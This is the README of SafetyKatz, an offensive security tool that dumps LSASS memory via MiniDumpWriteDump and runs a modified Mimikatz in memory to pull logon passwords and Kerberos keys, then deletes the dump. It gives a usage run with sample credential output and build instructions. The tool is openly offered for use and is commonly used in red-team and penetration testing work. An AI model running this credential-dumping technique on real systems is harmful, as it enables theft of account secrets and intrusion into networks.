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SafetyKatz is a combination of slightly modified version of @gentilkiwi's Mimikatz project and @subTee's .NET PE Loader

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SafetyKatz


SafetyKatz is a combination of slightly modified version of @gentilkiwi's Mimikatz project and @subtee's .NET PE Loader.

First, the MiniDumpWriteDump Win32 API call is used to create a minidump of LSASS to C:\Windows\Temp\debug.bin. Then @subtee's PELoader is used to load a customized version of Mimikatz that runs sekurlsa::logonpasswords and sekurlsa::ekeys on the minidump file, removing the file after execution is complete.

Modifications

  • @subtee's PE Loader was slightly modified so some of the pointer arithmetic worked better on .NET 3.5
  • @gentilkiwi's Mimikatz project was modified to strip some functionality for size reasons, and to automatically run the sekurlsa::minidump mode (deleting the minidump file after). If you don't trust my compiled version, feel free to build it yourself :)

@harmj0y is the primary author of this port.

SafetyKatz is licensed under the BSD 3-Clause license.

Usage

C:\Temp>SafetyKatz.exe

[*] Dumping lsass (808) to C:\WINDOWS\Temp\debug.bin
[+] Dump successful!

[*] Executing loaded Mimikatz PE

.#####.   mimikatz 2.1.1 (x64) built on Jul  7 2018 03:36:26 - lil!
.## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
## / \ ##  / *** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ##       > http://blog.gentilkiwi.com/mimikatz
'## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
'#####'        > http://pingcastle.com / http://mysmartlogon.com   *** /

mimikatz # Opening : 'C:\Windows\Temp\debug.bin' file for minidump...

Authentication Id : 0 ; 28935082 (00000000:01b983aa)
Session           : Interactive from 0
User Name         : blahuser
Domain            : WINDOWS10
Logon Server      : WINDOWS10
Logon Time        : 7/15/2018 1:07:55 PM
SID               : S-1-5-21-1473254003-2681465353-4059813368-1002
        msv :
        [00000003]
Primary
        * Username : blahuser
        * Domain   : WINDOWS10

...(snip)...

mimikatz # deleting C:\Windows\Temp\debug.bin

Compile Instructions

We are not planning on releasing binaries for SafetyKatz, so you will have to compile yourself :)

SafetyKatz has been built against.NET 3.5 and is compatible withVisual Studio 2015 Community Edition. Simply open up the project .sln, choose "release", and build.

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SafetyKatz is a combination of slightly modified version of @gentilkiwi's Mimikatz project and @subTee's .NET PE Loader

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